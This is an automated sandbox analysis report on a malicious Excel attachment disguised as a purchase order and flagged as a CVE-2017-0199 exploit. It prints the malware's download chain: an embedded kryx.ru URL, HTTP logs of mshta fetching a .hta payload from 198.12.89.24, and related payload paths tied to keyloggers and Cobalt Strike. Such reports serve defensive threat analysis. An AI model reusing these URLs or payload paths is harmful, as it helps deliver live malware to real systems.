Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49704 -> 13.107.246.60:443

Source: global traffic	HTTP traffic detected: GET /e3EPl0?&certification=exclusive&kitty=thinkable HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: kryx.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xampp/angel/tsgreatnessforentiretimegoodgirlsheis.hta?&balinese=stereotyped HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: 198.12.89.24

Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /e3EPl0?&certification=exclusive&kitty=thinkable HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: kryx.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/excel.exe-Production-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /xampp/angel/tsgreatnessforentiretimegoodgirlsheis.hta?&balinese=stereotyped HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: 198.12.89.24

Source: global traffic	DNS traffic detected: DNS query: kryx.ru
Source: global traffic	DNS traffic detected: DNS query: otelrules.svc.static.microsoft

Source: PO#4500550389.xla.xlsx

String found in binary or memory: https://kryx.ru/e3EPl0?&certification=exclusive&kitty=thinkableD

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 188.225.72.170:443 -> 192.168.2.7:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.7:49701 version: TLS 1.2

System Summary

Excel sheet contains many unusual embedded objects

Source: PO#4500550389.xla.xlsx	OLE: Microsoft Excel 2007+
Source: PO#4500550389.xla.xlsx	OLE: Microsoft Excel 2007+

Source: PO#4500550389.xla.xlsx

OLE indicator, VBA macros: true

Source: PO#4500550389.xla.xlsx

Stream path 'MBD00C9763B/\x1Ole' : https://kryx.ru/e3EPl0?&certification=exclusive&kitty=thinkableDAmwP#|--t#+EX3aR{%NoJ7QE|%v].al|!hEdzL;RFFxcq0hHYX2Q0rNvtFeAa1BDqDD3pNb3bgcRDoaRuO44Etx52CLmzs8X649k9SGYe9IqaLBCH0NwaELNn1J41JPRtrKnnkmlfvZGqdSl9KETEFZUWLp2LUk9z3Fj6UjpgdP4Q7zHGDNQt1iqtnVuCBnb3BmP9KUS0u78?- L]O!u`^p/

Source: C:\Windows\SysWOW64\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE			Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Window title found: microsoft excel okexcel cannot open the file 'po#4500550389.xla.xlsx' because the file format or file extension is not valid. verify that the file has not been corrupted and that the file extension matches the format of the file.

Source: classification engine

Classification label: mal60.expl.winXLSX@6/4@2/3

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user\Desktop\~$PO#4500550389.xla.xlsx

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File created: C:\Users\user~1\AppData\Local\Temp\{06311D6C-6F9E-42B9-97A1-48FDED09743F} - OProcSessId.dat

Jump to behavior

Source: PO#4500550389.xla.xlsx

OLE indicator, Workbook stream: true

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PO#4500550389.xla.xlsx	Virustotal: Detection: 33%
Source: PO#4500550389.xla.xlsx	ReversingLabs: Detection: 19%

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\mshta.exe -Embedding
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\PO#4500550389.xla.xlsx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\mshta.exe -Embedding	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: c2r32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3EE60F5C-9BAD-4CD8-8E21-AD2D001D06EB}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: PO#4500550389.xla.xlsx

Static file information: File size 1172480 > 1048576

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: PO#4500550389.xla.xlsx

Initial sample: OLE indicators encrypted = True

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: PO#4500550389.xla.xlsx	Stream path 'MBD00C9763A/MBD00320C7F/Package' entropy: 7.98905669124 (max. 8.0)
Source: PO#4500550389.xla.xlsx	Stream path 'Workbook' entropy: 7.99202969994 (max. 8.0)

Source: C:\Windows\splwow64.exe

Window / User API: threadDelayed 924

Jump to behavior

Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000			Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000			Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	13 Exploitation for Client Execution	1 Scripting	1 Process Injection	2 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO#4500550389.xla.xlsx	33%	Virustotal		Browse
PO#4500550389.xla.xlsx	19%	ReversingLabs	Document-Excel.Exploit.CVE-2017-0199

Source	Detection	Scanner	Label	Link
https://kryx.ru/e3EPl0?&certification=exclusive&kitty=thinkable	0%	Avira URL Cloud	safe
https://kryx.ru/e3EPl0?&certification=exclusive&kitty=thinkableD	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.34	true	false	high
kryx.ru	188.225.72.170	true	false	high
s-0005.dual-s-dc-msedge.net	52.123.130.14	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
otelrules.svc.static.microsoft	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://kryx.ru/e3EPl0?&certification=exclusive&kitty=thinkable	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/excel.exe-Production-v19.bundle	false		high
https://otelrules.svc.static.microsoft/rules/rule120607v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120603v8s19.xml	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://kryx.ru/e3EPl0?&certification=exclusive&kitty=thinkableD	PO#4500550389.xla.xlsx	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
198.12.89.24	unknown	United States	36352	AS-COLOCROSSINGUS	false
188.225.72.170	kryx.ru	Russian Federation	9123	TIMEWEB-ASRU	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1640393
Start date and time:	2025-03-17 09:27:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO#4500550389.xla.xlsx
Detection:	MAL
Classification:	mal60.expl.winXLSX@6/4@2/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe, MavInject32.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 52.109.68.129, 23.199.214.10, 217.20.57.34, 20.189.173.10, 20.42.73.30, 52.123.130.14, 20.190.159.64, 4.245.163.56
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, eur.roaming1.live.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, mobile.events.data.microsoft.com, roaming.officeapps.live.com, dual-s-0005-office.config.skype.com, login.live.com, frc-azsc-000.roaming.officeapps.live.com, officeclient.microsoft.com, ukw-azsc-config.officeapps.live.com, prod.fs.microsoft.com.akadns.net, c.pki.goog, wu-b-net.trafficmanager.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, osiprod-frc-buff-azsc-000.francecentral.cloudapp.azure.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, fe3cr.delivery.mp.microsoft.com, config.officeapps.live.com, onedscolprdwus09.westus.cloudapp.azure.com, onedscolprdeus18.eastus.cloudapp.azure.com, ecs.office.trafficmanager.net, e
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:29:17	API Interceptor	949x Sleep call for process: splwow64.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
198.12.89.24	niceworkingskillgivenmebest.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	198.12.89.24/346/cosses.exe
	Our Order.xls	Get hash	malicious	Unknown	Browse	198.12.89.24/xampp/efv/niceworkingskillgivenmebest.hta
	Our Order.xls	Get hash	malicious	Unknown	Browse	198.12.89.24/xampp/efv/niceworkingskillgivenmebest.hta
	PO-ARJ-2025-15ACA.xla.xlsx	Get hash	malicious	Unknown	Browse	198.12.89.24/xampp/kvrmot/kvrm/greatcomebackdoingforeverwithgreat.hta
	PO-ARJ-2025-15ACA.xla.xlsx	Get hash	malicious	Unknown	Browse	198.12.89.24/xampp/kvrmot/kvrm/greatcomebackdoingforeverwithgreat.hta
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	198.12.89.24/xampp/glorry/iineveryiceskillwithgreatnewsgivenmebest.hta?&valuable=animated
	PO-ARJ-2025-15ACA.xla.xlsx	Get hash	malicious	Unknown	Browse	198.12.89.24/xampp/kvrmot/kvrm/greatcomebackdoingforeverwithgreat.hta
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	198.12.89.24/xampp/glorry/iineveryiceskillwithgreatnewsgivenmebest.hta?&valuable=animated
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	198.12.89.24/xampp/glorry/iineveryiceskillwithgreatnewsgivenmebest.hta?&valuable=animated
	wekissingbestgirleveryseenwithmygirl.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger, VIP Keylogger	Browse	198.12.89.24/312/cosse.exe
188.225.72.170	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse
	_________03M4138.docx.bin.doc	Get hash	malicious	Unknown	Browse
	_________03M4138.docx.bin.doc	Get hash	malicious	Unknown	Browse
13.107.246.60	https://protect-us.mimecast.com/s/wFHoCqxrAnt7V914iZaD1v	Get hash	malicious	Unknown	Browse	www.mimecast.com/Customers/Support/Contact-support/
13.107.246.60	http://wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5	Get hash	malicious	Unknown	Browse	wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
kryx.ru	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	188.225.72.170
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	188.225.72.170
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	188.225.72.170
	_________03M4138.docx.bin.doc	Get hash	malicious	Unknown	Browse	188.225.72.170
	_________03M4138.docx.bin.doc	Get hash	malicious	Unknown	Browse	188.225.72.170
s-0005.dual-s-dc-msedge.net	Purchase Order dt.17.2025.docx	Get hash	malicious	Unknown	Browse	52.123.131.14
	phish_alert_sp2_2.0.0.0(48).eml	Get hash	malicious	Unknown	Browse	52.123.130.14
	TESTINGPlayback_March 13, 2025 at 093142 PM.docx	Get hash	malicious	Unknown	Browse	52.123.130.14
	_________03M4138.docx.bin.doc	Get hash	malicious	Unknown	Browse	52.123.130.14
	_________03M4138.docx.bin.doc	Get hash	malicious	Unknown	Browse	52.123.130.14
	Mandatory Notification Nashintl.msg	Get hash	malicious	Unknown	Browse	52.123.130.14
	Quotation.xls	Get hash	malicious	Unknown	Browse	52.123.131.14
	#Ud83d#Udcc5 Vos rendez-vous du num#U00e9rique et de la tech pour mars et avril 2025 (116Ko).msg	Get hash	malicious	Unknown	Browse	52.123.131.14
	I_ Order.msg	Get hash	malicious	AgentTesla	Browse	52.123.130.14
	I_ Order.msg	Get hash	malicious	AgentTesla	Browse	52.123.130.14
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	Fork.exe	Get hash	malicious	Babadeda	Browse	217.20.57.19
